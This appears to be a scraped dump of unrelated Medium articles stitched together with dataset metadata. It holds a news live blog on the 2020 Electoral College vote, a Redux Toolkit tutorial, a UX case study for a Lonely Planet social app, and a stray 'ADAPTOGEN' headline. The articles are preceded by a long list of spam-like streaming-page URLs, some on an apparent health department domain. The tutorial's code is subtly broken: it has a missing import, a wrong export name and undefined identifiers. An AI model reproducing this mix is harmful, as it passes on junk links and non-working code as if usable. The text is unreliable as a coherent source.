http://www.cgcohealthdept.com/rxw/x-bowl-nhk-liv-6.html
http://www.cgcohealthdept.com/rxw/x-bowl-nhk-liv-7.html
http://www.cgcohealthdept.com/rxw/fu-jit-su-tvstream01.html
http://www.cgcohealthdept.com/rxw/fu-jit-su-tvstream02.html
http://www.cgcohealthdept.com/rxw/fu-jit-su-tvstream03.html
http://www.cgcohealthdept.com/rxw/fu-jit-su-tvstream04.html
http://www.cgcohealthdept.com/rxw/fu-jit-su-tvstream05.html
http://www.cgcohealthdept.com/rxw/fu-jit-su-tvstream06.html
http://www.cgcohealthdept.com/rxw/fu-jit-su-tvstream07.html
http://www.cgcohealthdept.com/rxw/fu-jit-su-tvstream08.html
http://www.cgcohealthdept.com/rxw/fu-jit-su-tvstream09.html
http://www.cgcohealthdept.com/rxw/fu-jit-su-tvstream10.html
http://www.cgcohealthdept.com/rxw/Video-fu-jit-su-hq1.html
http://www.cgcohealthdept.com/rxw/Video-fu-jit-su-hq2.html
http://www.cgcohealthdept.com/rxw/Video-fu-jit-su-hq3.html
http://www.cgcohealthdept.com/rxw/Video-fu-jit-su-hq4.html
http://www.cgcohealthdept.com/rxw/Video-fu-jit-su-hq5.html
http://www.cgcohealthdept.com/rxw/Video-fu-jit-su-hq6.html
http://www.cgcohealthdept.com/rxw/Video-fu-jit-su-hq7.html
http://www.cgcohealthdept.com/rxw/Video-fu-jit-su-hq8.html
http://www.cgcohealthdept.com/rxw/Video-fu-jit-su-hq9.html
https://gstyledress.jp/xke/jpn-v-x-bowl-tv-cst9.html
https://gstyledress.jp/xke/jpn-v-x-bowl-tv-cst8.html
https://gstyledress.jp/xke/jpn-v-x-bowl-tv-cst7.html
https://gstyledress.jp/xke/jpn-v-x-bowl-tv-cst6.html
https://gstyledress.jp/xke/jpn-v-x-bowl-tv-cst5.html
https://gstyledress.jp/xke/jpn-v-x-bowl-tv-cst4.html
https://gstyledress.jp/xke/jpn-v-x-bowl-tv-cst3.html
https://gstyledress.jp/xke/jpn-v-x-bowl-tv-cst2.html
https://gstyledress.jp/xke/jpn-v-x-bowl-tv-cst1.html
https://gstyledress.jp/xke/fu-jit-su-livstream02.html
https://gstyledress.jp/xke/video-fu-jit-su-liv01.html
https://gstyledress.jp/xke/video-fu-jit-su-liv03.html
https://gstyledress.jp/xke/video-fu-jit-su-livstream.html
https://gstyledress.jp/xke/x-bowl-live01.html
https://blog.goo.ne.jp/fdtudu/e/9769d43b3d057295893101b1495ded44
https://blog.goo.ne.jp/fdtudu/e/4d7bb58edd5cc08cc383cbdff3e198b9
https://blog.goo.ne.jp/fdtudu/e/566206f0c72752d175e00f66d7243262
https://gstyledress.jp/xke/x-bowl-nhk-liv-1.html
https://gstyledress.jp/xke/x-bowl-nhk-liv-2.html
https://gstyledress.jp/xke/x-bowl-nhk-liv-3.html
https://gstyledress.jp/xke/x-bowl-nhk-liv-4.html
https://gstyledress.jp/xke/x-bowl-nhk-liv-5.html
https://gstyledress.jp/xke/x-bowl-nhk-liv-6.html
https://gstyledress.jp/xke/x-bowl-nhk-liv-7.html
https://gstyledress.jp/xke/fu-jitsu-jpstream01.html
https://gstyledress.jp/xke/fu-jitsu-jpstream02.html
https://gstyledress.jp/xke/fu-jitsu-jpstream03.html
https://gstyledress.jp/xke/fu-jitsu-jpstream04.html
https://gstyledress.jp/xke/fu-jitsu-jpstream05.html
https://gstyledress.jp/xke/fu-jitsu-jpstream06.html
https://gstyledress.jp/xke/fu-jitsu-jpstream07.html
https://gstyledress.jp/xke/fu-jitsu-jpstream08.html
https://gstyledress.jp/xke/fu-jitsu-jpstream09.html
https://gstyledress.jp/xke/fu-jitsu-jpstream10.html
https://blog.goo.ne.jp/sanam/e/a3c48bba820ebd4d655e9c30692dea99
https://blog.goo.ne.jp/sanam/e/c1e1191c3fdf8cf255b6b6ad3fef3770
https://blog.goo.ne.jp/sanam/e/f9882d39c961194f829dd0146e65e3da
https://blog.goo.ne.jp/sanam/e/f1142e2c8cc5628efbf7afcc69368986
https://blog.goo.ne.jp/sanam/e/cfe31b3cc9a59b8dc8b7d0786683880d
https://fdgzdfg.hatenablog.com/entry/2020/12/15/154342
https://blog.goo.ne.jp/sdfghgfdsdfgaa/e/89570196852e5363c9204fd19a74bb1f
https://blog.goo.ne.jp/sdfghgfdsdfgaa/e/67d6d1c2792b9e6cabcb032ed6b15e76
https://blog.goo.ne.jp/sdfghgfdsdfgaa/e/b10df3c30042b62fb90cba436ca8ef4b
https://blog.goo.ne.jp/sdfghgfdsdfgaa/e/2f45e229d882d3e1cc1e6bf9ac640690
https://gstyledress.jp/xke/Video-fu-jit-su-hq1.html
https://gstyledress.jp/xke/Video-fu-jit-su-hq2.html
https://gstyledress.jp/xke/Video-fu-jit-su-hq3.html
https://gstyledress.jp/xke/Video-fu-jit-su-hq4.html
https://gstyledress.jp/xke/Video-fu-jit-su-hq5.html
https://gstyledress.jp/xke/Video-fu-jit-su-hq6.html
https://gstyledress.jp/xke/Video-fu-jit-su-hq7.html
https://gstyledress.jp/xke/Video-fu-jit-su-hq8.html
https://gstyledress.jp/xke/Video-fu-jit-su-hq9.html
https://blog.goo.ne.jp/sdfghgfdsdfgaa/e/a9b446cda6e0f349a17a30a7100c05bb
https://blog.goo.ne.jp/sdfghgfdsdfgaa/e/e4cc337c014017dc0a01fa8866cb1dd5
https://blog.goo.ne.jp/sdfghgfdsdfgaa/e/bb98710a443fea7e39989c2450415683
https://blog.goo.ne.jp/sdfghgfdsdfgaa/e/bb98710a443fea7e39989c2450415683
https://blog.goo.ne.jp/sdfghgfdsdfgaa/e/c300c01c0ab04c12539d3f502e22ef9d
https://note.com/anhkim2016/n/ndb6652b68efb
https://note.com/anhkim2016/n/nb7cbaf185f81
https://note.com/anhkim2016/n/n4768039fd921
https://blog.goo.ne.jp/34thjapanxbowl/e/5f1a266fe18f2623008b42cd6c80229b
https://blog.goo.ne.jp/34thjapanxbowl/e/cca332e3838edb10edd673d2c63f4730
https://blog.goo.ne.jp/34thjapanxbowl/e/309d88dd190b64be017e57937093e2aa
https://blog.goo.ne.jp/34thjapanxbowl/e/8b553668dee1b34121c47652121807c6
https://blog.goo.ne.jp/34thjapanxbowl/e/ec9299318f2d1039fc64051eca444f62
https://blog.goo.ne.jp/34thjapanxbowl/e/985cd7531655d2664a1268cffac6b214
https://blog.goo.ne.jp/34thjapanxbowl/e/8b19ba2f694f1b808fcabfbda4ad289e
https://blog.goo.ne.jp/34thjapanxbowl/e/87e97d61a012669f134b9020ff3f5606
https://blog.goo.ne.jp/34thjapanxbowl/e/24ae431af70aea25a3c7d327f1356904
https://blog.goo.ne.jp/34thjapanxbowl/e/63697a0f987aefca7c296e525df2ce60
https://blog.goo.ne.jp/34thjapanxbowl/e/bed7921f10f9a7965b7ae752470e6895
https://blog.goo.ne.jp/34thjapanxbowl/e/0bd530aaf599dbca25a777b7efd2228a
https://blog.goo.ne.jp/34thjapanxbowl/e/5cc839cbb2b16c0d00f3d1ee13777383
https://blog.goo.ne.jp/34thjapanxbowl/e/80e4e3107bf569e2a1071f5555679c1c
https://blog.goo.ne.jp/34thjapanxbowl/e/fbb5d9a429efa2201be3582222bb6631
https://blog.goo.ne.jp/34thjapanxbowl/e/766ae61cec6769e31028072047b4f7d0
https://blog.goo.ne.jp/34thjapanxbowl/e/b986fdc3691c6d3ad23e546623208215
https://blog.goo.ne.jp/34thjapanxbowl/e/8468dddce83c22449e90c0eeed12c3c7
https://blog.goo.ne.jp/34thjapanxbowl/e/124e991e86cd93280db40e7e9891bbb5
https://blog.goo.ne.jp/34thjapanxbowl/e/23f5693e51b5c4f397f3f6502d99090b
https://gstyledress.jp/xke/fu-jit-su-obic-jp01.html
https://gstyledress.jp/xke/fu-jit-su-obic-jp02.html
https://gstyledress.jp/xke/fu-jit-su-obic-jp03.html
https://gstyledress.jp/xke/fu-jit-su-obic-jp04.html
https://gstyledress.jp/xke/fu-jit-su-obic-jp05.html
https://gstyledress.jp/xke/fu-jit-su-obic-jp06.html
https://gstyledress.jp/xke/fu-jit-su-obic-jp07.html
https://gstyledress.jp/xke/fu-jit-su-obic-jp08.html
https://gstyledress.jp/xke/fu-jit-su-obic-jp09.html
https://gstyledress.jp/xke/fu-jit-su-obic-jp10.html
TALLY OF ELECTORAL COLLEGE VOTES, AS OF 5:13 P.M. EST
Democrat Joe Biden: 302
ADVERTISEMENT
Republican Donald Trump: 232
___
INQUIRER MORNING NEWSLETTER
Get the news you need to start your day
[email protected]
Sign Up
5:25 p.m.
The Electoral College has formally validated Joe Biden’s victory in the 2020 presidential election.
ADVERTISEMENT
Biden cleared the 270-vote threshold on Monday after California’s electors cast their votes for the Democrat. When all of the states finish voting, Biden is expected to lead President Donald Trump 306–232.
The Electoral College vote is normally a procedural step in the presidential election, but its importance is heightened this year because Trump is refusing to concede his loss. He and his allies have filed roughly 50 lawsuits, and most have been dropped or dismissed by judges, including twice by the U.S. Supreme Court.
The Electoral College results will be sent to Washington and tallied in a Jan. 6 joint session of Congress over which Vice President Mike Pence will preside.
___
ADVERTISEMENT
5:20 p.m.
The Senate’s №2 Republican leader says it’s time to declare Democrat Joe Biden the president-elect.
South Dakota Sen. John Thune spoke to reporters in the Capitol on Monday shortly before the Electoral College formally affirmed that Biden had won the 270 electoral votes needed to become president.
Thune says, “That’s how in this country we decide presidential elections. That’s our Constitution. And I believe we follow the Constitution.”
ADVERTISEMENT
President Donald Trump has refused to concede the election, falsely claiming widespread voter fraud. He has offered no evidence backing that up, and he’s lost numerous attempts to invalidate the voting in state and federal courts, including twice in the U.S. Supreme Court.
Even so, many GOP lawmakers have backed Trump’s attempts to ignore the voters’ verdict.
Thune also says a last-ditch attempt by a few Republicans to challenge Biden’s electoral win in the House next month is “going nowhere.”
___
ADVERTISEMENT
5:10 p.m.
U.S. Rep. Paul Mitchell, a retiring Republican from Michigan, says he is disaffiliating from the GOP and becoming an independent for the rest of his term.
His decision was announced on Monday as members of the Electoral College were meeting around the country to formally verify the results of the Nov. 3 presidential election. Democrat Joe Biden flipped Michigan on his way to winning the White House, but President Donald Trump and his Republican allies are fighting the results as they try to subvert the will of the voters.
In a letter to Republican National Committee chair Ronna McDaniel and House Republican leader Kevin McCarthy, Mitchell wrote, “It is unacceptable for political candidates to treat our election system as though we are a third-world nation and incite distrust of something so basic as the sanctity of our vote.”
He also said it was unacceptable for Trump to have attacked the Supreme Court for rejecting his team’s lawsuit and for party leaders and the House Republican Conference to participate in Trump’s efforts to get the election results overturned based on conspiracy theories.
Mitchell says he voted for Trump.
___
4:55 p.m.
Republican Sen. John Cornyn says Joe Biden seems on his way to becoming the next president.
The Texas senator told reporters at the Capitol on Monday that he considers the Democrat “the president-elect, subject to whatever additional litigation is ongoing” by President Donald Trump to try overturning the election.
Cornyn says he expects “a turning of the page on Jan. 20, when you’ll have a peaceful transition.” And he says, “There comes a time when you have to realize that despite your best efforts, you’ve been unsuccessful.”
Cornyn’s comments put him in the camp of a small but growing number of Republican lawmakers who are acknowledging — or coming close to it — that Biden was elected president. Trump has refused to concede and is falsely alleging widespread voter fraud, though he’s provided no evidence of that and lost dozens of court cases.
Cornyn spoke as members of the Electoral College were meeting around the country to formally verify the election results. Based on the voting, Biden beat Trump in the Electoral College by 306–232 and won by 7 million votes.
___
4:05 p.m.
In a prime-time speech after the Electoral College vote, President-elect Joe Biden is set to declare that “not even … an abuse of power” can stop a peaceful transition of power in the U.S. after last month’s election.
That’s an overt swipe at President Donald Trump’s refusal to accept defeat and the top Republicans who have continued to stand by him.
Biden is set to speak Monday night after the Electoral College formally votes to declare him president.
According to excerpts released ahead of time by his campaign, Biden plans to call for unity and again express his intentions to be a president for everyone, regardless of whether they voted for him. But he also will say that “In America, politicians don’t take power — the people grant it to them.”
“The flame of democracy was lit in this nation a long time ago,” Biden is set to say. “And we now know that nothing — not even a pandemic — or an abuse of power — can extinguish that flame.”
___
3 p.m.
Michigan’s electors have cast their 16 votes for President-elect Joe Biden, who reclaimed the battleground state for Democrats on his way to winning the White House.
The vote was announced by Democratic Lt. Gov. Garlin Gilchrist II, who presided over a scaled-back, socially distanced Electoral College ceremony inside the Michigan Senate.
The Capitol was closed to the public because of coronavirus restrictions. Lawmakers also closed their offices because of threats of violence. Electors and some top Democrats were escorted into the statehouse by state police.
Citing baseless allegations of widespread fraud, President Donald Trump and his allies had urged the U.S. Supreme Court to invalidate Biden’s 154,000 vote, or 2.8 percentage point, victory and pushed the Republican-led Legislature to choose electors. But the legally suspect, long-shot bid was rejected by the court and by Republican legislative leaders who pointed to state law in saying that the electoral votes go to the popular vote winner.
Democratic Gov. Gretchen Whitmer says, “The people have spoken.”
___
2:55 p.m.
Florida’s 29 Electoral College votes have been cast for President Donald Trump.
Secretary of State Laurel Lee conducted the vote Monday after three electors were named to replace three who couldn’t attend the ceremony, including Senate President Wilton Simpson. Simpson announced hours before the vote that he had tested positive for COVID-19.
Trump won Florida with 51.2% of the vote in last month’s election. He also carried Florida in 2016.
Florida’s electors are submitted to the governor by each political party. Electors take an oath to support the candidate that wins the state’s popular vote.
Despite losing Florida, Democrat Joe Biden managed to flip three Rust Belt states and carry Arizona and Georgia on his way to winning the election.
___
1:45 p.m.
Wisconsin has cast its 10 Electoral College votes for Democrat Joe Biden.
It came about an hour after the Wisconsin Supreme Court rejected a lawsuit from President Donald Trump seeking to overturn the election results.
For Democrats, the Electoral College vote signaled the end of a long fight to win back the state Trump carried in 2016.
“We made it,” said Democratic Gov. Tony Evers, one of the state’s electors, after the vote was announced.
___
1:15 p.m.
Some Republicans who refuse to acknowledge the reality of President-elect Joe Biden’s win are meeting to cast ceremonial votes for President Donald Trump.
On the day the Electoral College is set to formally confirm Biden’s victory, Trump loyalists in Pennsylvania met in Harrisburg and cast what they described as a “conditional vote” for Trump. The state Republican Party says the Trump electors met at the request of the campaign.
In Georgia, another battleground state Trump lost, an alternate Republican slate cast ceremonial votes for Trump at the same time Georgia’s 16 Electoral College votes were cast for Biden.
The opposition to Biden has no practical effect on the electoral process, with the Democrat set to be sworn in on Jan. 20.
The Electoral College vote is normally a fairly procedural step in the presidential election, but its importance is heightened this year because Trump is refusing to concede his loss. He and his allies have filed roughly 50 lawsuits and most have been dropped or dismissed by judges, including twice by the U.S. Supreme Court.
___
1:10 p.m.
Ohio’s electors have cast their 18 votes for President Donald Trump.
Trump won the state’s vote in November by more than 8 percentage points. It was the first time in 60 years that the state’s voters did not side with the ultimate winner.
The result was announced shortly after roll call was taken at an in-person Electoral College session at the Ohio Statehouse on Monday.
Republican delegates all wore masks, socially distanced and used specially provided pens due to the coronavirus.
Among the Ohio electors was Ken Blackwell, a Trump loyalist and former Ohio secretary of state who presided over the contentious Bush-Kerry contest of 2004; Bob Paduchik, an Ohioan who served as senior adviser to Trump’s reeelection campaign; and Lucas County GOP Chair Mark Wagoner, whose father was the first to die of COVID-19 in the state.
___
12:50 p.m.
Pennsylvania has cast its 20 electoral votes for Democrat Joe Biden, the native son whose win in the state last month cemented his overall victory against President Donald Trump.
The 20 electors were socially distanced in a cavernous auditorium near the Capitol, meeting there instead of the floor of the state House because of the pandemic.
One by one, each elector walked up to the auditorium stage and dropped his or her ballot into a box designed by Benjamin Franklin. The electors gave the vote tally a standing ovation.
Nancy Mills, president of the state’s Electoral College, noted it was Pennsylvania that put Biden over the 270-vote threshold needed to claim the White House.
She says, “We are the state that returned the dignity and honor to the United States of America.”
___
New York has awarded its 29 Electoral College votes to Democrat Joe Biden.
The ceremony took place in the state Capitol despite the coronavirus pandemic. Electors included former President Bill Clinton and 2016 Democratic presidential nominee Hillary Clinton.
The vote took about half an hour and finished without any surprises. Electors sat in separate rows behind invisible plastic dividers, and all wore masks as they cast their votes one by one.
Democratic Gov. Andrew Cuomo says the pandemic serves as a “stark reminder to the nation that government matters and leadership matters.” He says good government ”can literally save people’s lives.”
Hillary Clinton says the Biden-Harris administration is “going to be great for the country.” She says, “We’re going to have a president and a vice president who are going to work for all the people and make a real difference for everybody.”
___
12:45 p.m.
North Carolina has awarded its 15 electoral votes to President Donald Trump.
An energized base of supporters, vigorous in-person campaign schedule and appeal to rural voters fueled Trump’s 1.3 percentage point win over Democratic President-elect Joe Biden in the state.
In response to the coronavirus pandemic, Biden largely stayed off the physical campaign trail, instead choosing to do virtual events or smaller in-person gatherings with mask wearing and physical distancing. He did not personally visit the state in the last 16 days of the election.
Biden benefited from a surge in mail-in voting but fell short of a plurality of the more than 5.5 million ballots cast.
Trump defeated then-Democratic nominee Hillary Clinton in the state in 2016 by 3.7 percentage points. Former President Barack Obama is the most recent Democratic presidential candidate to win North Carolina, which he did in 2008.
___
12:40 p.m.
Arizona’s 11 Electoral College members have cast their votes for Democrat Joe Biden for president.
Biden won the Nov. 3 in Arizona by nearly 10,500 votes, becoming the first Democratic since President Bill Clinton in 1996 to carry the traditionally Republican state.
Fueled by President Donald Trump, some Arizona Republicans continue to question Biden’s victory in the state. Trump backers have filed multiple lawsuits trying to have the Arizona results set aside, but state and federal courts have rejected all but one of them.
Some are being appealed, and the remaining case has a hearing Monday.
Democratic Secretary of State Katie Hobbs presided over the ceremony where the electors signed the certificates confirming Biden’s win. She had harsh words for the politicization of this year’s process, saying it had “an artificial shadow” hanging over it because of baseless accusations of voter fraud.
___
12:35 p.m.
Georgia’s 16 Electoral College votes have been cast for Democrat Joe Biden for president.
The state’s Democratic electors convened in the Senate chamber of the state Capitol on Monday.
The electors included former candidate for governor Stacey Abrams, congresswoman-elect Nikema Williams, several state lawmakers, local politicians and Democratic activists.
The group limited themselves to sitting in every other row, with an empty desk between each person. They all wore a face mask to protect against the coronavirus, and the audience was limited to a few members of the press and some support staff.
The electors each marked a paper ballot that was then collected, counted and confirmed by a voice roll call. Abrams then read out the results, saying, “I’m pleased to announce that Joseph R. Biden has received 16 votes for president of the United States,” to applause.
The vote formally seals Biden’s win in the battleground state, where he beat President Donald Trump by about 12,000 votes. The result of the November election was confirmed by two recounts, including an audit that triggered a full hand tally of ballots.
___
12:15 p.m.
A Republican lawmaker from Michigan has been disciplined for not denouncing potential violence at the state Capitol before Democratic presidential electors are to meet to vote for Joe Biden, who won the state over President Donald Trump.
State Rep. Gary Eisen of St. Clair Township told WPHM-AM on Monday that he planned to help with an unspecified “Hail Mary” GOP plan to challenge the election, conceding the “uncharted” action likely would not change the result. Asked if he could guarantee people’s safety, he said “no.”
House Speaker Lee Chatfield and Speaker-elect Jason Wentworth, both Republicans, removed Eisen from committees in the closing days of the two-year session. In a statement, they said threats or suggestions of violence in politics are never acceptable, including “when the public officials open the door to violent behavior and refuse to condemn it. We must do better.”
The 16 electors and top Democratic state officials such as Gov. Gretchen Whitmer are scheduled to gather in the Senate chamber Monday afternoon. Legislative offices are closed because of threats of violence. The Capitol is closed to the public because of coronavirus restrictions.
___
11:55 a.m.
Nevada’s six Democratic presidential electors have awarded their votes for Joe Biden, becoming the first slate of electors from a battleground state to cast their votes.
The ceremony on Monday took place over Zoom due to the coronavirus pandemic. It took less than 20 minutes and finished without any surprises.
Biden defeated Trump by 33,596 votes, or 2.4 percentage points, in Nevada. Although Democrats’ margin of victory was similar to the 2016 election, the state’s slow vote-counting pace and a result that appeared tight on Election Night vaulted the western battleground into the national spotlight.
Trump eyed the state as a pick-up opportunity, visiting three times in the lead-up to the election. Biden visited once for an event with Latino groups and a drive-in rally.
___
11 a.m.
Electors from the first states have cast their votes.
Vermont’s three representatives to the Electoral College on Monday cast the state’s presidential ballots for President-elect Joe Biden and Vice President-elect Kamala Harris. In Tennessee, 11 representatives to the Electoral College cast their votes for President Donald Trump and Vice President Mike Pence.
Four Electoral College votes from New Hampshire went to Biden, and 11 from Indiana went to Trump. Electors in other states also have begun voting.
Biden won the Nov. 3 election.
Electors are gathering in 50 states and the District of Columbia on Monday to formally vote for the next president. Most states have laws binding their electors to the winner of the popular vote in their state.
The results will be sent to Washington and tallied in a Jan. 6 joint session of Congress over which Pence will preside.
The electors’ votes have drawn more attention than usual this year because Trump has refused to concede the election and continues to make unsupported allegations of fraud. There was no widespread fraud. This has been confirmed by election officials across the country and by Attorney General William Barr.
___
9:40 a.m.
Michigan legislative offices are closed because of threats of violence as presidential electors prepare to gather in the state Capitol to cast their votes for Democrat Joe Biden.
The 16 electors will meet Monday afternoon in the Senate chamber, at a ceremony chaired by Democratic Gov. Gretchen Whitmer. Biden won the state by 154,000 votes, or 2.8 percentage points, over President Donald Trump.
The Capitol building is closed to the public due to coronavirus restrictions except when lawmakers meet for a legislative session. A spokesperson for Republican Senate Majority Leader Mike Shirkey says legislators’ offices in the statehouse and nearby buildings also are closed based on recommendations from law enforcement.
Spokeswoman Amber McCann says, “The decision was not made because of anticipated protests but was made based on credible threats of violence.”
Lawmakers from both parties have reported receiving threats amid Trump’s futile bid to overturn the election results with baseless allegations of widespread fraud.
Documentary screening to celebrate Beethoven’s birthday
SPONSORED CONTENT
Documentary screening to celebrate Beethoven’s birthday
by Beethoven in Beijing
There was no widespread fraud in the election. This has been confirmed by election officials across the country and by Attorney General William Barr.
Earlier this year, law enforcement said it uncovered a plot to kidnap Whitmer. The ringleader is alleged to have also discussed attacking the Michigan Capitol during session and executing “tyrants.” | https://medium.com/@dollyhantema/the-latest-biden-clears-270-vote-threshold-to-be-president-a2e795d03797 | [] | 2020-12-15 08:10:23.613000+00:00 | ['Joe Biden', 'Politica', 'New York', 'Us', 'Voting'] |
How to setup Redux ToolKit in React application | The Battle of state management
So, 2021 will be over in the next 6 months! What an amazing half year this was, wasn’t it?
Enough of this sarcasm. I think we all know the reality. I only turned this on because timing is really important for the topic this post will cover (as it might get change over time).
Let’s talk about the state as just we can be on the same page. Every interactive app involves responding to particular events, like when to open the sidebar, when the user clicks a button, and when to close the popup. Or someone sends a message, and it appears in a chat window. The app looks different than it did before, or it’s in a new mode when these events get responded with states. Now, state management is a broad term that combines how you store the states of your app and how you change and play with it without being worried about props drilling and complexing the codebase.
A first and important point to bring attention to is “Not all the apps required state management library or tool”, but as our app grows, it becomes necessary to apply Redux, MobX, Recoil, Hookstate, and the list is endless while we talk about state management. Personally, when I was brand new to this thing I probably have not used any state management thing for my to-do list app. But when you have a large example and a faster-growing app then it is good to put a thing into practice.
Let’s dig deeper to conclude how I started admiring RTK(Redux Toolkit)!
Redux has probably been the first react-based state management library, indeed it provides wonderful functionalities but its size, initial difficulties to make it friendly, and containing more action-reducer code approach than needed can make some people want to switch. And I was one of them.
RTK is build to address three common concerns:
“Configuring a Redux store is too complicated”
“I have to add a lot of packages to get Redux to do anything useful”
“Redux requires too much boilerplate code”
Redux toolkit comes with several useful packages installed with it like Immer, Redux-Thunk, and Reselect. It makes life easier for React developers, allowing them to mutate state directly (Immer handles immutability) and applying middleware like Thunk (which handles async actions). It also uses Reselect, a simple “selector” library for Redux, to simplify reducer functions.
Major features provided by Redux Toolkit
The following API function is used by Redux Took Kit, which is an abstract of the existing Redux API function. These function does not change the flow of Redux but only streamline them in a more readable and manageable manner.
1. configureStore: Creates a Redux store instance like the original createStore from Redux, but accepts a named options object and sets up the Redux DevTools Extension automatically.
2. createAction: Accepts an action type string and returns an action creator function that uses that type.
3. createReducer: Accepts an initial state value and a lookup table of action types to reducer functions and creates a reducer that handles all action types.
4. createSlice: Accepts an initial state and a lookup table with reducer names and functions and automatically generates action creator functions, action type strings, and a reducer function.
There’s one speciality of createSlice, All the actions and reducers are in a simple place wherein a traditional redux application you need to manage every action and its corresponding action inside the reducer. when using createSlice you don’t need to use a switch to identify the action.
I really appreciate how it handles async Redux flows, let me give you some glimpse about it:
import { createSlice } from "@reduxjs/toolkit";
const initialState = {
users: [],
loading: false,
error: null,
};
const GetUsers = createAsyncThunk(
"/users", async () => await axios.get(`https://jsonplaceholder.typicode.com/users`)
);
const userSlice = createSlice({
name: "user",
initialState: initialState,
extraReducers: {
[GetUsers.fulfilled]: (state, action) => {
state.users = action.payload.data;
state.loading = false;
},
[GetUsers.rejected]: (state, action) => {
state.users = [];
state.loading = false;
state.error = action.payload.errors;
},
},
});
export default userSlice.reduce
Let’s check how to use it,
import React, { useState } from "react";
import { createUser } from "../features/user/userSlice";
import { useSelector, useDispatch } from "react-redux";
const User = () => {
const dispatch = useDispatch();
const [user, setUser] = useState(initState);
const { users } = useSelector((state) => state.user) const CreateUser = () => {
dispatch(
createUser({
id: Math.random(),
name: user.name,
username: user.username,
})
);
}
return (
<table className="table">
<thead>
<tr>
<th scope="col">Name</th>
<th scope="col">Username</th>
<th scope="col">Option</th>
</tr>
</thead>
<tbody>
{
users?.map((row) => {
return (
<tr key={row.id}>
<td>{row.name}</td>
<td>{row.username}</td>
</tr>
);
})}
</tbody>
</table>
)}
Closing thoughts that wrap up our learning!
Based on my experience, Redux Toolkit is a great option to use when getting started with Redux. It simplifies the code and helps to manage the Redux state by reducing the boilerplate code.
Basically, I had set up a redux toolkit in one of the fastest-growing platforms, DhiWise [https://www.dhiwise.com/] , which is ProCode platform for building any kind of applications in NodeJS, Kotlin, ReactJS, Flutter, and IOS. I’ve seen marvelous changes in performance after setting up Redux Toolkit.
Thanks for reading!
Reference:
Redux Toolkit | https://medium.com/dhiwise/how-to-setup-redux-toolkit-in-react-application-bccb70d566f4 | ['Khushali Korat'] | 2021-07-31 08:27:30.150000+00:00 | ['React', 'Node Js Development', 'App Developement', 'Redux Toolkit', 'Redux'] |
Case Study: Lonely Planet Social App Design Concept | Case Study: Lonely Planet Social App Design Concept
Young travelers are struggling to connect and explore new places during the Pandemic. How can we design an app that allows them to keep exploring, and to feel connected to other travelers?
Lonely Planet is a well-known travel and tourism company based in the United States. Despite the strength of their brand with young travelers, Lonely Planet has experienced a significant decline in business during the Pandemic. They want a way to keep young travelers engaged and feeling a sense of connection right now, so that when it’s safe to travel again, they’ll be more likely to use their travel services. LP would like to design a digital tool for young users living in social isolation during this pandemic, utilizing a human-centered design process.
The problem belongs not only to these world travelers who are feeling isolated, but also to Lonely Planet. Because Travel is off-limits in most areas during the pandemic, and because many people have lost work and therefor cannot afford travel, Lonely Planet’s business has suffered a substantial financial hit.
The Team: Katlyn Conklin, Jenny Lee, Adrienne LaFlam
Tools Used: Slack, Google Surveys, Google Sheets, Figma, Miro
Timeline: 2 weeks
I was lucky to have an incredible team of talented, hardworking UX Designers. I took on the role of research in the first phase. Specifically, conducting Competitive and Comparative Analysis. I also synthesized the data collected from user interviews and surveys in order to create our affinity map. Out of the raw data, my team and I arrived at key insights and tangible takeaways that helped us to create our Persona and begin solving the key problem.
DISCOVERY PHASE
Survey Results
We began by brainstorming a list of questions we wanted to ask young travelers, in order to learn their travel habits and to ascertain what they are doing in lieu of travel for entertainment during the pandemic. Our survey had 18 questions, and our interview had 12 questions.
KEY INSIGHTS
100% of travelers had their travel plans disrupted by the pandemic
Over 90% had to cancel plans
Over 60% feel socially isolated right now
38% have participated in a virtual event of some sort
More than 50% said virtual events they’ve tried weren’t enjoyable
Interview Results
DEFINE
My team and I created a Persona based on the results of our extensive survey and our user testing. We came up with “Ray”, a young travel photographer. Ray is feeling isolated since the Pandemic, and wants to find more ways to feel connected. Ray also wants to keep exploring travel destinations, even though they can’t travel currently. We believe that Ray embodies most of the traits of the young travelers that Lonely Planet is trying to maintain connection with during the pandemic.
TIMELINE
This project was assigned in early December of 2020. We had 2 weeks to complete the entire project, including research, ideation, design, and deliverables. We were limited in scope (time, money) because this was an educational experience. Also, we had limited time to find user testers, and to find young travelers to take our survey. The survey was sent out on a Friday and we had all of our results by the following Monday.
PROBLEM STATEMENT
HOW MIGHT WE?
How might we help Ray meet new people but in a safe environment?
How might we create an online community that offers experiences and adventures for people to explore while travel is down?
USER FLOW
WIREFRAMES
My teammates and I began putting our ideas and possible user flows into basic sketches. We then discussed how to best accomplish the goals of both Lonely Planet, and their target customers.
With a better understanding of what users want, and considering the goals of Lonely Planet, we started sketching some user flows based on the idea that we wanted to create a social app for travelers. This app would allow users to do 2 basic things: To explore, and to connect.
After our first mid-fidelity prototype was built, we conducted usability testing on 5 users. We asked them to:
Log in as an existing user
Someone sent you a message, go ahead and read it
Try and book the experience your friend sent you
KEY INSIGHTS
Wanted more social features like comments, tags and location
There was no search bar
There was no way to see which messages had been read
The social feed layout was unfamiliar
People didn’t understand how to connect with and find other users
REITERATE
Considering the feedback from our usability testing, we implemented changes in order to solve the issues presented. We created a high-fidelity prototype in Figma, so that users could click through our app and test it out again with the changes. It was really exciting to see it come together!
PROTOTYPE
The thinking behind our prototype was that we’d offer an “experiences feed” so that users could log in and see trending stories about travel, posted by top users or friends on the app. We also added a messaging feature, so that friends are able to message one another, share experiences, and then book those experiences, as shown below:
OUTCOME
After this project, we had time to reflect on what went well, what didn’t, and what we’d change. I think most of the project went really well. For example, my team worked really well together. We communicated clearly and often, and we organized our tasks and schedule well. We also did really well with our user research. We were able to do both a survey and user interviews, which gave us more useful data than if we’d just done interviews. This led to clearer insights, which of course led to a better solution.
Some things that didn’t go well were that I didn’t voice my concerns about certain app aspects from the get-go. I was concerned that the “feed feature” might be confusing for someone trying to find new connections
NEXT STEPS | https://medium.com/@adriennelaflam/case-study-lonely-planet-social-app-design-concept-7111385df754 | ['Adrienne Laflam'] | 2020-12-24 03:01:46.849000+00:00 | ['Case Study', 'UX Design', 'Travel', 'Pandemic', 'Lonely Planet'] |
ADAPTOGEN | ADAPTOGEN
THE BEST EFFECTIVE WAY TO HANDLE STRESS
